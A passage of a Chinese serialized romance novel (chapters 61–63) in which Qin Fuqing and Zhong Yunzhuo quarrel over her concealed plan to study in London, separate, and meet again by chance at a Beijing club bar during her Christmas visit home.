“你看,像我们这样的家庭,哪儿有自由选择伴侣的权利。”吴少维突然蹦出一句。 “你想表达什么?”秦拂清冷眼瞧着他。 吴少维吐了口烟圈,他不是会常抽烟的人,表情看上去有些不自然。 他咳嗽两声,质问道:“秦总,扪心自问,你能保证以后跟缊酌结婚吗?如果结不了婚,你就是在害她。” “我既然决定跟她在一起,自然会考虑到这些,用不着你来提醒我。” “是吗。”吴少维嗓音凉凉,“我这样的人,没什么抱负,混混日子就好。可你呢?秦总,你是个有事业心的人啊,你真舍得放弃大好前景,为了一个女人跟你父亲撕破脸皮?” 秦拂清有点儿不耐烦了,嗤声道:“如果你跑过来说这些是为了想看我们两个分手,那恐怕要让你失望了。” 吴少维盯着指尖的猩红,沉默几秒,紧接着慢条斯理地提醒,“她不在国内的这段时间,你怎么能确定秦政庭不会再给你安排相亲,你们两个异地,你还能像现在这样心如止水?” 秦拂清出国被限制,他不能去看她,也就是说,两人至少有一年时间见不到面。 “不在国内?” 秦拂清陡然皱起眉,“你说清楚,什么意思。” “她毕业后不是要去留学”吴少维看着他困惑的表情,似乎察觉到什么。 他转而扯起唇角,意味不明地笑了下,“那时候她来找我补习英语时亲自告诉我的。秦总,你不会还不知道吧?” 作者有话说:评论区掉落红包~【..top】 60-65 第61章 阳台上那盆龙血树的叶子开始发黄, 钟缊酌怀疑是否因最近水浇多了的缘故。 她这个冬天已经养死了一株散尾葵。 阳台没有暖气,某次钟缊酌开窗通风稍微久了一点,过两天一看直接给冻死了。 钟缊酌唉声叹气地在想,自己是不是真的不适合养绿植。 正独自伤春悲秋着, 卧室里的电话就响了起来。 钟缊酌趿拉着拖鞋走过去, 打开公放。 不同于往常中气十足的嗓音, 宋黎若软软地声音顺着话筒传来:“在干嘛?今天没去约会呀?” “没有,他这两天要加班。” 宋黎若一副惋惜的口吻,“唉,事业心太强就是这点不好,连陪女朋友的时间都没有, 谈什么恋爱。” 钟缊酌笑了下,打趣道:“你现在是享受到恋爱的甜蜜了啊, 说话都变得软糯了。谈勉暗恋你十几年,可算得偿所愿, 这不得天天黏着你。” “哪儿有啊,他矜持得要命, 每次晾他几天才又变着法跑来哄我。”宋黎若闷闷地说, “诶对了,你录取结果什么时候出来?秦拂清知不知道这事儿呢呀?” “我报得太晚了, 估摸要等一段时间我还没跟他说, 约了他下周在西苑饭店见面, 想着搞一个浪漫一点的氛围嘛, 怕他知道后不开心” 手机“嗡嗡”振动两下, 又有新的电话蹦了出来。 钟缊酌看了眼屏幕,眼皮猛地一跳,正是她嘴里念叨的那个人。 “不说了啊, 秦拂清给我打来了,我先接一下。” “嗯嗯你跟他聊吧,回见。” 钟缊酌深吸一口气,按下接听按钮,温声细语道:“你今天不是很忙嘛,怎么突然打来了。” 或许是心里发虚,她现在跟他说话都变得小心翼翼地,不过在外人听来,更像是小姑娘家在撒娇。 对面罕见没立即应声。沉默片刻后,缓缓开口:“你说有事要告诉我,我等不及想知道了,现在过去找你。” “啊?”钟缊酌吃了一惊,“现在?那你工作怎么办,而且,我饭店订的是下周呀,它家得提前几天预订” “不用吃饭了,半小时后,去大院我住的地方等我。” 秦拂清态度很坚决,也不给她反驳的机会,说完后便撂了电话。 这是怎么了 他以前从不会这样跟她讲话,钟缊酌盯着屏幕发愣,心里隐约有种不好的预感 钟缊酌提前一会儿来到他家楼下。 她看到那辆熟悉的黑车缓缓驶来时,心里也跟着紧张起来。 秦拂清利落地下了车,脸上看不见表情,也叫人琢磨不出他在想什么,双手插着兜直接往楼道里走,“上楼。” 钟缊酌加快脚步跟了上去。 一进门,秦拂清往沙发上一摊,漆黑锋锐的眼睛望过来。 他目光里带了些不易察觉的凉意,动了动唇,“说吧。” 钟缊酌心里那股强烈地预感越来越明显。 他是不是已经知道了? 可是他怎么会知道呢? 她像是一个做错了事的孩子,手足无措地站在客厅中央,垂着头,好半天才挤出一句话:“我打算毕业后去英国留学。” 她被吓到了,所有提前准备的措辞,所有的铺垫全部丢到脑后,只僵硬着说出最核心的那一句。 片刻后,钟缊酌听到对面男人的轻笑了一声。 明明是笑,听起来却是那么的讽刺,那么的凄凉。 他一字一顿地,“毕业后去留学,你现在告诉我,你怎么不等临走前再告诉我呢?嗯?” “我是前几天刚报完名的,之前很多事情都定不下来,所以一直没跟你讲。” 钟缊酌紧咬着嘴唇,生怕那口气一松眼泪就跟着掉下来。 “刚报完名,那材料不提前准备吗?雅思不需要考吗?” “你一年前就在筹划这件事了对不对,你到今天才告诉我,所有人都知道只有我不知道,我在你心里到底算什么!?” 他似乎是气急了,一声比一声高。钟缊酌眼尾泛红,拼命摇头,“不是这样的,你对我来说是很重要的人,正因为我们关系特殊,我才瞒着你” “我也是个蠢蛋,你去找吴少维补习英语就应该有所察觉,还以为你只是单纯上进,结果最后还是人家亲口告诉我,你要去留学。” 秦拂清喘着粗气,“你知道我当时什么感受吗?我觉得心脏在被人拿刀一下下割开,自己的满腔真情全都成了笑话!” “对不起,我真的没想到你会这么生气” 钟缊酌本来觉得自己做得没错,到时好好解释一下就好,可这一刻心里防线就开始崩塌,她眼泪啪嗒啪嗒地往下掉,哽着声道歉。 “我还信誓旦旦地跟朋友说我们之间绝对赤诚,你绝不会对我隐瞒什么,我这是自己打自己脸啊。”秦拂清冷笑一声,“你钟小姐本事是真的大,都能把我耍得团团转!” 他把她想成了什么诡计多端的女子,钟缊酌彻底崩溃了。 无论他怎么责怪,怎么惩罚她,钟缊酌都不介意,可唯独受不了这样的污蔑和羞辱。 “我隐瞒这件事,不是不在意你,也不是想要算计什么,只是因为我一直攒不够钱,但又不想让你来帮我,仅此而已。” 她浑身颤抖着讲完这句话,耗尽了所有力气。 钟缊酌瘫坐在地上,任由眼泪往下流。 其实在这个过程里,秦拂清看着她抽泣,看着她流泪,好几次就要心软下来。 可他被愤怒冲昏了头脑,控制不了自己的情绪。 他太生气太失望了,甚至开始怀疑,她对他到底有几分感情。 秦拂清走过去,蹲在地上,扶住她的肩膀,“告诉我为什么?为什么不想要我的帮助。” “秦拂清,你不会理解的,我们这种普通人可怜又可悲的自尊心。” 在说出最心底的那句话,在情绪发泄出来之后,钟缊酌反而冷静了下来。 “这件事我确实有错,我忽视了你的感受,但如果要我重新选择,我还是会这样做。 秦拂清在她的脸上,又看到了和那时候一模一样的倔强。 他喉咙发涩,“那结婚以后呢?你打算一辈子都要和我分得这么清?” 听到这句话,钟缊酌清软的眸子垂了下来,“我们真的能结婚吗?” “为什么不能?” “你都不敢在你母亲面前承认我们的关系,我的家人在阻挠,你的家人更是难以跨越的坎儿。”她轻喃着,“我看不到未来。” 秦拂清心中受到了巨大的冲击,那份怀疑此刻在一点点地被印证。 “所以,你从一开始就只是想跟我谈恋爱,从没想过结婚,对不对?” 钟缊酌只摇头,“我不知道。” 谁能从一开始就确定以后会发生的事,如果可以的话,她当然想跟他结婚,想跟他一辈子在一起。可是,她想就能实现吗? “秦拂清” 他抬手打断她,眼前一片眩晕。 秦拂清闭上眼睛,“你别说了,我需要冷静。” 看他这个样子,钟缊酌心中很愧疚,也很难受。 她不忍心再刺激他,抹了把眼泪,轻声说:“那我先回家我们改天再联系。” 钟缊酌晃晃悠悠地站起来。 在她迈出门的瞬间,客厅里传来巨大的咣当一声,是博古架被推倒在地的声音- 六月份的最后一天,在经历了两个月的折磨,痛苦,懊恼,整夜辗转失眠之后,钟缊酌收到了来自帝国理工的录取通知书。 她看着那封邮件,手指不住地在抖。 却不是开心或是激动。 钟缊酌知道,自己即将面临着什么。 她真的要离开了,在和秦拂清冷战期间,她要独自飞往另一个国度,与他不知何时才能再见面。 这两个月以来,钟缊酌给秦拂清打过很多次电话,也发过很多条信息,可他没接过一次,也没回过一次。 她在想,这次是真的把他伤到了。 钟缊酌此刻甚至开始怀疑,她真的有那么想去留学吗? 还是说,只是为了完成她学生时期的梦想,一个一直以来的执念而已。 钟缊酌告诉宋黎若,她和秦拂清吵架了,因为没告诉他要去留学的事儿。 她现在身陷泥潭,完全不知道该怎么办才好。 “你哄哄他呀,其实我觉得你做的没错,但现在最重要的是要安抚好他情绪,所以该低头还得低头。” “我头快扎到地底下去了,但显然没什么用。”钟缊酌苦笑道。 “那你现在不是收到通知书了嘛,把这件事告诉他,他不可能还毫无反应。” 钟缊酌觉得这是个招儿,但是是歪招儿。 生怕不够激怒他的。 钟缊酌最后还是没敢说,直到又过了一个月,眼见就要准备启程。 她实在受不了,豁出去般给秦拂清发过去一条:【我已经收到帝国理工的录取通知书,月底前往英国。至少在我走之前,我们能见一面吗?】 她不敢抱太大期望,把着手机等了半天,以为又要没戏。没想到这次秦拂清回复了她。 FU:【周日晚七点,西苑饭店见。】 西苑饭店的顶层,只在沿着落地窗旁摆了一圈的桌椅,是以几乎感受不到的速度慢慢向前移动。旋转餐厅的名字也是这样由来。 一边品尝美食,一边欣赏着窗外风景,可谓无比浪漫。只是这样的浪漫,如今对钟缊酌来说已没有了任何意义。 她坐在桌前不知发呆了多久,直到门口出现那道黑色身影。 钟缊酌印象中,他好像很少穿黑色衬衫。 除了第一次见面,就是谈勉生日那天,为避开和寿星撞衫。 她也听说过一种说法,体制内不实行穿黑衬衫,因为显得冷硬不够正派。 秦拂清慢慢向她走来,脸上明明没什么表情,却带着一股无形的压迫感。 “你来了。”钟缊酌有些慌乱地起身,险些将手旁的杯子碰倒。 “想吃什么,你看看。” 一段时间未见,秦拂清的脸颊消瘦了一圈,再加上那不怒自威的气态,整个人更显得凌厉锋锐。 钟缊酌暗自调整了下呼吸。 他拿起菜单随意点了几样,便放回桌上。 这里可以点餐也可以吃自助,钟缊酌见点得不多,提议道:“不然我们再拿些自助吧。” 秦拂清没说话,只起身照做。 不一会儿,桌上摆满了餐,却无人动筷。 钟缊酌抿了下唇,声音发涩:“对不起,我还是要走——” “我没有说过不让你走。” 钟缊酌沉默下来,不敢与他的视线交汇。 “你想去留学,我不会阻止你,你不想让我帮你,也可以告诉我,而不应是采用这种隐瞒的方式。你知道这样做对我的伤害有多大吗?你会让我觉得我对你来说根本不重要,我这个人的存在对你来说也是可有可无。” 不同于上次激烈的争吵,秦拂清很平静地讲完这段话。 可越是这样平静的口吻,越让钟缊酌心里感到发慌。 她眼里含着泪:“可是,如果我告诉你我想去留学,但因攒不够钱就要放弃,你真的能眼睁睁地看着我放弃,而不采取任何行动?” 她太了解他了,她知道他做不到。 秦拂清偏过头。 或许他早该意识到,她就是这样一个倔强,自尊心很强的姑娘。 否则,当初也不会因为一句玩笑话记恨他那么久。 “你我之间,非要如此吗?我不在乎为你花钱,你一定要跟我划出这条界限?” 钟缊酌说:“是,起码在我们的未来还不确定之前,我需要这条界限。” 那天的饭两人都没吃几口,个中什么滋味儿钟缊酌已经记不清了。 她只记得在分别之前,在饭店楼下的那座小木桥旁,耳边听着潺潺的流水声。 秦拂清对她说:“你聪明漂亮,你理智清醒,你活得通透,你有一颗玲珑七窍心,你有很多闪光点,你知道你的缺点是什么吗?” “——太薄情。” 作者有话说:虽然吵架了 但营养液还是要继续求的月底了宝们有剩余的营养液请通通砸给我么么 评论区掉落红包~ 第62章 这里的天气总是灰蒙蒙的, 细雨不断。 偶尔冷风一吹,那湿漉漉的水气便从各种细缝钻入骨头里,冻得人牙齿打颤,说不出一句完整的话。 这是钟缊酌来到伦敦两个月之后的感受。 帝国理工的学业繁重, 每天有上不完的课和做不完的作业。 刚一来时, 舍友林嘉熙就发现一条完美的citywalk路线。 从历史自然博物馆到皇家阿尔伯特音乐厅, 再到肯辛顿花园和海德公园,她已经计划了好久,可这两个月饶是没腾出一点时间来。 “我们真是苦命的人嘞。” 林嘉熙是香港人,家境殷实。据她所讲,她不是自愿来帝国理工读书的, 全由父母所逼。 钟缊酌有时会感慨,原来一个人千辛万苦想要得到的东西, 对另一个人来说或许只是轻如鸿毛。 又到了一个周末。 钟缊酌抱着一本java操作模拟从图书馆出来,正好碰上刚参加完社团活动的林嘉熙。 在她的身边站了一位很高的男生, 棕发碧眼,嘴唇很薄, 穿一件黑色大衣。 男生操着一口地道的伦敦腔, 很绅士地叮嘱些什么,林嘉熙跟他说了几句感谢的话, 两人便挥手告别。 “别看啦, 只是一起参加社团的学长, 我们可是一点关系都没有哦。” 钟缊酌从那黑色背影上挪回目光, 忽然自言自语道:“男人穿黑大衣确实好看。” “你看上他啦?”林嘉熙嘴巴张成了O型, “你喜欢的话,我可以介绍给你!” “不是!我说的又不是他。”钟缊酌默默垂下头,连声音都变了调。 “那这里还有谁呀?”林嘉熙前后左右看了看, 也没找到附近还有谁穿了黑大衣。 “算了,我还有正事向你请教呢。”她蹦到钟缊酌面前,一笑起来露出个小酒窝,“是这样,我昨天去牛津大学见个朋友,你猜怎么着,偶遇了一个超帅的男生,然后我俩就加了微信,但是我不知道接下来该聊什么。” 林嘉熙喘了口气,接着道,“他跟你一样是来自京市,哎呀,我就想问,你们那里的男生喜欢什么样的女孩呀?是不是矜持一点比较好?” 她叽里咕噜地说了一大堆,钟缊酌耐心听完,心里早已是翻江倒海。 她现在哪儿有资格给别人当感情导师?自己的感情都弄得一塌糊涂呢。 钟缊酌暗自伤感着,林嘉欣就等不及摇起她胳膊,“快告诉我嘛,我真的对这种男生一窍不通,像我们那里表达感情都是直来直去的,我真怕一开口就把人家吓到了。” “不会的,你这样的性格很可爱。”钟缊酌语调温和地说,“我觉得太矜持反而不好,他既然同意加你,就说明对你也有意思。犹豫不决,左右摇摆,只会让对方觉得没有安全感。” “真的吗?那我下周就约他出来吃饭喽。” “嗯。” 一个优柔寡断,瞻前顾后,不会表达爱意的恋人,即便对方再有耐心,时间久了,也会令人生厌吧。 钟缊酌心想。 “Elowen,我又要向你来请教了。” 几天之后,林嘉熙约会回来,迫不及待地向钟缊酌汇报情况,“我没有直接表白,但我说跟他在一起很开心,想成为朋友,他也欣喜地表示有同感,还邀请我去参加他的生日宴,你说这是不是有戏啦?” “嗯,非常有戏了。”钟缊酌笑说。 开心完没几分钟,林嘉熙又发起愁来,“那你说我给他送什么生日礼物好哇,名表还是限量款球鞋?” 非常标准的大小姐行事风格。 可根据钟缊酌的了解,京城里的那些公子哥,最不缺的就是这些东西。 他们更希望得到一些特别的,独属于自己的礼物。 钟缊酌想了想说:“我记得学校附近有一家杂货店,我们下课后去逛逛吧,或许能淘到什么宝物。” “好主意!Elowen,我爱死你了!”林嘉熙飞快在她脸上亲了一口。 这家杂货店店面不大,里面却是卧虎藏龙。 货架上摆满了各种手工艺品,复古的包包,首饰和钟表。 老板是一位苏格兰女士,穿一件墨绿色条格连衣长裙,头发高高盘起,优雅地靠在门边对她们说:“wee,lovely girls.” 林嘉熙眼花缭乱地挑选起来,这些小玩意儿对她来说都非常稀奇,选了半天,也不知哪件更符合心意。 “你看这个小娃娃,真可爱,是皮革缝制的吗?” “这枚胸针也很精致,上面还有刻字呢。” 钟缊酌转了一圈,最后目光落到几只怀表上,眼睛一亮,“Jacy,快过来!” 几只怀表之中,就属中间那只金色的最为亮眼。 外壳雕刻着复古细腻的花纹,透过中间镂空构造,能看到表盘里精密的机械零件,齿轮在相互咬合着转动。 既漂亮大气又自带一股中世纪的神秘之感。 林嘉熙一眼就相中了它。 “so incredible!”她惊叹一声,又冲门口的女士问,“老板,这个多少钱?” 老板回答:“350??。” 三百五十英镑,相当于人民币三千多块钱。对于林嘉熙来讲,算是非常便宜的价格了。 她迟疑一瞬,“会不会让他觉得有些廉价?” “当然不会。”钟缊酌自信满满道,“这个东西一看就是亲自从某个隐蔽的店里淘来的,越是朴素但用心的礼物才能打动人心。” “真的吗?” “你不信我呀,我曾经就是在男——”钟缊酌顿了下,“在一个朋友生日时,送给他一个亲手缝制的香囊,他可喜欢了。” “好!那我听你的。” 就在林嘉熙转身去交钱的瞬间,一个念头忽然划过了钟缊酌的大脑。 朴素但用心的东西才能打动人心,她怎么忘记了这么简单的道理。 钟缊酌深吸一口气,心里打着算盘,走过去,“请问这里有信纸吗?” 老板给她指了一个货架,“那边。” “谢谢。” 回去的路上,林嘉熙忍不住问她:“你买信纸干嘛?” “当然是写信。” 林嘉熙不解,“都什么年代了还写信?不能用手机联系呀。” “嗯。”她笑了笑,没解释太多。 钟缊酌坐在写字台前,小心地铺开那张信纸。 过去这几个月里,她太急着解释自己的为难之处,太急着想要他一个态度,以至于发过去的那些信息里,字里行间都是冷冰冰地追问。 她根本没有好好表达过,她到底爱不爱他,这份感情到底对她有多重要。 于是在这样一个平静的夜晚,在距离他八千公里之外的伦敦,钟缊酌把所有的爱意,都揉进了这一张小小的信纸里—— 秦拂清: 别经数月,思何可支。 我心里其实一直有很多的话,不知要不要跟你讲,也不知该怎么跟你讲。 在很久之前,我们刚刚认识的那个时候,你就已经对我很好很好。可我总被自己那点可怜的自尊心蒙蔽,偏执地认为你对我的帮助,只是上位者对一个未经世事的学生,随手抛出的施舍。 我真的很傻对不对? 直到从深城回来,听到你亲口说出那句暗示,我才知道,原来这一切都是真的。原来那些荒唐的想法,那些在夜里辗转反侧冒出的念头都是真的。 我既心动,又不敢面对,我太在意摆在我们面前的阶级差。我不像你那么坚定,在感情面前,我是个胆小鬼。 我曾经问过你,你到底是什么时候对我动的心。说来惭愧,仔细回想,我自己究竟对你什么时候动的心,也说不清楚。 我只记得,在某一次和你对视时,我不再淡定,我发现自己的心跳控制不住地开始加快。我心想,完蛋了,我大概是彻底沦陷了。 那时的我,即便认清自己的感情,也不敢对你有非分之想。我很害怕,怕眼前的一切只是黄粱一梦,终有一天会化作泡影。 秦拂清,能够认识你,是我三生有幸。我欠你的太多,今生今世都不知如何还清。 如果我真的伤害了你,那对我来说,更是极大的罪孽 钟缊酌落下笔时,恍如隔世,纸间的墨迹仿佛也跟着思绪飘荡起来。 耳边又响起那句——钟小姐,字写得不错。 她不由得弯了下唇。 已经过去两年多了啊。 钟缊酌一点点地将信纸折好,再仔细塞进一个黄色的信封里。 她不敢寄到他家里,至于壹号院那栋别墅,又恐怕他收不到。 思虑再三,钟缊酌决定给他寄到单位。 她知道,秦拂清这样的领导级别,别人定不敢私自拆他的信,因此也是相对安全的。 后来的每一天,钟缊酌时不时地就要拿出手机来看,看看他有没有给她打电话,哪怕发来一句简单的信息也好。 一周过去了,一个月过去了,她仍然没有等到任何回复。 十二月中旬,帝国理工结束了秋季学期的期末考试,马上进入为期两周的圣诞节假期。 一考完试,林嘉熙就和她的crush出去约会了。两人的感情进展飞快,何时在一起也只是时间问题。 钟缊酌一个人窝在宿舍的床角,不知道能做点什么。 人一旦闲下来,那些平时隐藏在内心深处的情感就会慢慢浮现出来,然后像火山一样突然爆发。 她给宋黎若打了个视频电话。 “缊酌,你考完试啦?” “圣诞假期回不回来呀,我可想死你了。” “我才知道你们没有寒假啊,那春节只能在那边过了” 宋黎若滔滔不绝地讲了一大堆,直到她看到对面好友的脸上,不知何时已经挂满了泪水。 “缊酌,你” “若若,我就是个傻瓜。”钟缊酌捂着脸,泣不成声,“我为什么没有早点听你的话,为什么没有在意你的提醒,还自作聪明地以为他会理解我,他不会生气。” “我还去刺激他,说只想跟他谈恋爱,没想过结婚,我真是个糊涂蛋。” “你别这么想啊。”宋黎若从没见过她哭成这样,也慌得不行,“你听我说,站在你的角度,你做得没错,只是在感情里,很多时候不是谁对错的问题。既然已经发生了,我们想办法解决就好,不要再自责,也不要陷入内耗,不然受伤的只会是你自己。” 钟缊酌肩膀颤动着,“不,他不会再原谅我了,我们已经结束了。” “若若,你不知道,他说我是一个薄情之人,他早就看透我了。” 作者有话说:评论区掉落红包~ 第63章 “你就真打算一直跟她这么冷战下去啊?” 傅沅宗坐在沙发椅上, 悠悠地晃了晃腿,嘴边啜着秘书刚送过来的意式咖啡。 对面的男人没吱声,还在噼里啪啦地敲字。 看得出来,他很烦躁, 十分钟内至少打错了三处内容。 自从得知这位大仙儿跟女友吵了架, 傅沅宗三番五次约他出来喝酒都被无情拒绝。 期间听老季说他经常工作到半夜才回家, 有时就算手头没活也要坐在办公室发呆不肯走,劝过几次也没用,真担心他哪天猝死在集团里。 傅沅宗今儿个也算恰好在他单位附近跟人谈生意,顺便上来瞧瞧,可别真闹出人命来。 “不就是出国读书没告诉你嘛, 多大点事儿!你再这么冷战下去,没准儿人家已经在国外找了个新男友呢。” 听了这句话, 秦拂清手上的动作终于停下。 他下颌紧绷,沉声吐出几个字, “随她的意。” 大有一股破罐子破摔的架势。 “呵!真行。”傅沅宗将茶杯撂下,咂了咂嘴, “那你倒是跟她说啊, 说你要跟她分手,从此一拍两散, 各找各的新欢, 你怎么不去说呢?嗯?” “为什么要我说, 她怎么不说。”秦拂清从喉咙里重重吐出一口气。 大脑发沉, 注意力无法集中, 他关闭屏幕,改签起文件。 傅沅宗瞧他的笑话,“得, 人家若真要找你又不乐意了。” 本来就烦,傅沅宗唠叨的话更让他几近崩溃,名字都签错一半——他姓秦,写钟做什么? “你要是没事儿干,继续做你的公益去,来这儿一趟就为了给我添堵的?” “我是好生劝你几句,别等将来把人逼走了后悔。”傅沅宗语气正经了些,“想当初你追她的时候多不容易,美男计啊苦肉计啊啥都使上了,就为了这么点事儿晾着人家,值不值当啊?” 他接着絮叨,“其实要我说啊,你就是因为从情敌口里知道的这件事,才更生气对不对?若是她亲口告诉你的,顶多闹两天脾气得了,这也就是赶巧了嘛。” 傅沅宗说的多少是有些道理的。 确实是因为从吴少维那儿知晓的才更生气。 记得他当时那副嘴脸,就差没直接说出来,怎么样啊秦总,我还是比你更了解缊酌。 秦拂清揉了揉眉心。 他现在还生气吗?也气,但不至于因为这点气就真的僵持到这个地步。 他现在是害怕,怀疑,她对他到底有多少感情。 她爱不爱他,她对他的爱是不是仅有表现出来的那一两分。 回想起他们在一起的日子,她的确没为他做过什么轰轰烈烈的事,偶尔的小恩小惠,就能把他哄得很开心。 她从来没有像他那样,会拼尽力气去爱对方。 那时的秦拂清深深陷入在自己的内耗里,完全没意识到他已经忽略掉了很多事实。 也是很久以后才想明白。 他年纪大她很多,社会阅历和地位高出很多,又出生在高门大户,根本没有那么多需要解决的困难和麻烦。再者,一个还未毕业的学生,能做的事情本来就有限,叫人家怎么为你轰轰烈烈? “是我不想复合吗?明明是她太冷血,说几句重话,走了以后连一个电话一条信息都没有。” 秦拂清越说越火大,心里的伤痛再次被掀开,“还说没想过跟我结婚,你听听,这叫什么话,合着这段感情就只是我自己在自娱自乐是吧?如果再让我低头,我未免也太贱了些!” “是不想跟你结婚,还是觉得结不了婚。”傅沅宗手指轻轻抚着杯沿,“这两者差别很大,你得搞清楚。” “为什么她会觉得结不了婚?我们在这件事上讲得很清楚,我说再给我一点时间,等时机成熟时我会和父母坦白。” “现在这种情况去说,我没有一点把握。” 傅沅宗叹口气,“那时机成熟是什么时候,一年两年还是三年五年,你觉得她能等多久。” 秦拂清无言地看着桌上那张签坏的文件,沉默半响。 他没应他的话,并非是没想过这个问题。 事情已经在往好的方向发展,秦政庭那边没有合适的联姻对象,而他需要工作上再上一层楼,在家里拿到更多的话语权,他自己心里有计划,但绝对不是现在。 秦拂清抬手敲了敲桌面,把季昌叫进来叮嘱:“老季,去重新打印一份。跟另外几个签字的领导说,不小心把咖啡洒在上面了。”- 圣诞节那两周的假期,钟缊酌本来不想回国的。 机票太贵,假期又短,根本不值当。 但她心情不好,实在太想念家人,想念在京里的小伙伴。 最后一狠心,买下来回的机票,直接奔向了东四街大院。 等打开那道冷清的大门,看到屋里寂静一片,才忽然想起。这一年她在外留学,陶姨已经回了老家。 钟缊酌卸下行李,立马给好友打去了电话。 “若若,还没吃午饭吧?对,叫上敬舟,去哪儿都成,你们定” 最后他们选在了大院的食堂。 说起来也是很巧,就在涂敬舟刚回国的那一天,三人也是齐聚在这里一起吃了顿饭。 那时候她还没和秦拂清在一起,还在忐忑自己能否真的去留学,那时候她的生活很简单,没有痛苦,也没享受过恋爱的快乐。 宋黎若点了一桌子的菜,这次她不怕浪费了,专点钟缊酌爱吃的。 “你在那边吃的很不习惯吧?哎,太可怜了,不是炸鱼薯条就是土豆泥面包,看看,脸蛋儿本来就不大,又饿瘦了一圈。” “若若,你可知道我那四年过得有多辛苦了吧,去一趟至少掉了十斤。” “敬舟哥,你瘦点合适,现在的女孩子喜欢棱角分明的侧脸,你太圆润了。” “哪儿圆润啊,我一米八多,都不到一百四十斤的体重了,我生怕走走路的腿折半道上。” “那你该练练肌肉呀,你这叫该长哪儿的肉没长哪儿” 对面两人你一言我一语地拌嘴,讲相声似的。可钟缊酌却笑不出来,只默默吃着眼前那道茶香鸭。 “缊酌,你哪天回学校?”涂敬舟问她。 “下下周四,但我周一要先去深城陪父母待几天,然后从那边直接走了。” “噢我这儿有几张龙德滑雪场的门票呢,你们想不想去?咱可以约个时间。” “好呀” 涂敬舟和宋黎若从头到尾没提她感情的事儿,她不愿意说,他们自然也就不问。 其实按理来讲,这俩人如果分手,涂敬舟心里该是开心的。但一想到缊酌会很痛苦,他这份私心也就立马消散得一干二净了。 吃过饭,涂敬舟先回了家。 宋黎若跟着钟缊酌上了楼,打算再陪她待一会儿。 宋黎若毕业后还是选择了去亲戚家的企业工作,说有人照顾着不怕被欺负,等以后有经验了再跳槽。 “我有点后悔这么早出来工作了,不如跟你一起考研呢。” “为什么呀?” “工作内容太烦了,比学习要烦得多。” 钟缊酌打开行李箱,一边安慰着她一边往外掏衣服。 宋黎若伸手接过,直接扔进了洗衣机,钟缊酌回头一看,“诶,那都是干净的。” “放在行李箱也闷了一路,都洗洗吧。” 钟缊酌跑去开窗户,阳台上已经空空如也,所有的绿植都被陶姨带回了老家。 在那边应该会被照顾得更好吧,她心想。 宋黎若这时候在客厅有意无意地提了一嘴:“缊酌,我忽然想唱歌了,之前去那个京西俱乐部感觉还不错,陪我再去一次如何呀?” 她拿着拖把走过来,“行倒是行,但我现在可没会员去借了” 宋黎若狡黠地笑了笑,“没关系,谈勉有会员。” 又隔了几日,跟涂敬舟滑完雪,在临去深城的前一天,她们再次约上楚希雅和白琪来到京西俱乐部。 这里依旧富丽堂皇恢宏壮阔,墙上的壁画在宫灯的照耀下栩栩如生,仿佛在诉说着一些不为人知的故事。 只是不知为何,侍者比上次来时明显少了许多,整个大堂冷冷清清的。 报完会员信息,几人速速上了楼。 “上次把若若给唱爽了,今天麦霸得轮到我。”楚希雅翻找着歌名。 白琪说:“那来首激昂的热热场。” “不,我要先来一首《那些年》,来致我们逝去的青春。”楚希雅举起话筒喊。 那些年错过的大雨 那些年错过的爱情 好想拥抱你拥抱错过的勇气 曾经想征服全世界 到最后回首才发现 这世界滴滴点点全部都是你 楚希雅唱得如痴如醉,却不知一旁的宋黎若早已汗流浃背。 她抢过话筒说:“唱什么错过的爱情呀,我们该唱的是友情。” 说着就点了一首周华健的《朋友》唱起来,“朋友一生一起走,那些日子不再有” 楚希雅和白琪毕业后都去了互联网大厂工作,被摧残得眼里都快没了光,对校园生活无比怀念,听着听着就动了容。 “这里应该也能点酒水吧,咱们来几杯鸡尾酒cheer一下怎么样?气氛既然都烘托到这儿了,场子必须热起来。” 提议一出来,几人纷纷赞同。 钟缊酌主动站起,“我去吧台点,你们都喝什么?” “莫吉托” 吧台在二层入口处,二层里面几个包间都是用作商务会谈的场所。 钟缊酌下了楼,刚走出电梯,差点儿和迎面过来的人撞个满怀。 “抱歉!”她一抬头,却发现这是个不能再熟的人,“谈勉?” “你怎么在这儿?” 谈勉似乎有些局促,左右看了看,顿了下说:“我来谈些合作。” 钟缊酌还没反应过来,“那也太巧了,若若知道这事吗?” 他含糊着应了声,“知道。”然后给她让出位置,“你是要去二层?” “嗯,我来这里吧台点酒。你要进电梯吧,往上往下?”她说着就要去帮他按。 “我不去了,突然想起来还有别的事。” 钟缊酌看着他又往回走,很快背影消失在走廊尽头,应该是拐进了左侧的包间。 莫名其妙地。 她没管这些,来到吧台处,跟服务员一一说了几个鸡尾酒的名字。 “好的,请您稍等。” 等待的间隙,钟缊酌玩起了微信小游戏打发时间。 刚开局没两分钟,身后走过来一个人,他个子很高,周遭的空气立马凝固住。 是一股无形的,熟悉的上位者气场。 钟缊酌指尖一顿。 随着他清润的嗓音传来,她的心脏也腾空而起。 “麻烦来一杯龙舌兰。” 眼前一阵天旋地转。 真的是他? 为什么? 她一直日思夜想,念念不忘的人,竟然就这么毫无防备地出现在自己面前。 钟缊酌紧张得快要不能呼吸。 “抱歉,先生。”服务员露出为难的神情,“我们这里的原料只够调一杯龙舌兰的,刚刚这位小姐已经点了” 秦拂清不动声色地撇过来一眼,眼神里夹杂着些许无可奈何。 “小姑娘家喝什么烈酒。” 尽管如此,他还是很“绅士”地表示:“那算了,给我来杯马天尼。” 钟缊酌不敢侧目,手指微微蜷起。 这绝对不是什么巧合。 刚刚在电梯间碰上谈勉,这会儿又遇上这位“故人”。 京城那么大,两千万的常住人口,他们相遇的概率能有多少? 不用想,定是楼上那位宋大小姐的杰作了。 或许若若是好意,可如今秦拂清对自己的态度,已然把她当作了陌生人。 他们之间的关系,在从她离开京市的那一天起,就已经结束了。 钟缊酌心中一凛,一股酸楚几乎涌出喉咙。 但她还是清了清嗓子,假装无所谓道:“那龙舌兰我不要了,给这位先生吧,我换成金菲士。” 服务员似乎也没想到还有这么一出,愣了愣,瞧着对面的男人,“您看” 哪知男人也不甘示弱,冷然拒绝:“我不要,给她。” 钟缊酌继续较劲:“我说了给他。” 秦拂清:“给她。” 服务员:“” 最后趁两人停顿的片刻,服务员赶紧打断道:“这样吧,你们两个都换成别的,一杯马天尼,一杯金菲士,可以吗?” 一片寂静。 两人同时开口:“可以。” 服务员可算松口气,转过身继续调酒。 心里却开始八卦上了,这俩人的关系铁定不一般,只是这到底演的哪一出?强制爱还是追妻火葬场? 全部调完后,服务员把那杯马天尼递给男人,又对钟缊酌说:“您这边的四杯不好拿,稍等一下,我给您放到托盘里。” 钟缊酌点头,“麻烦了。” 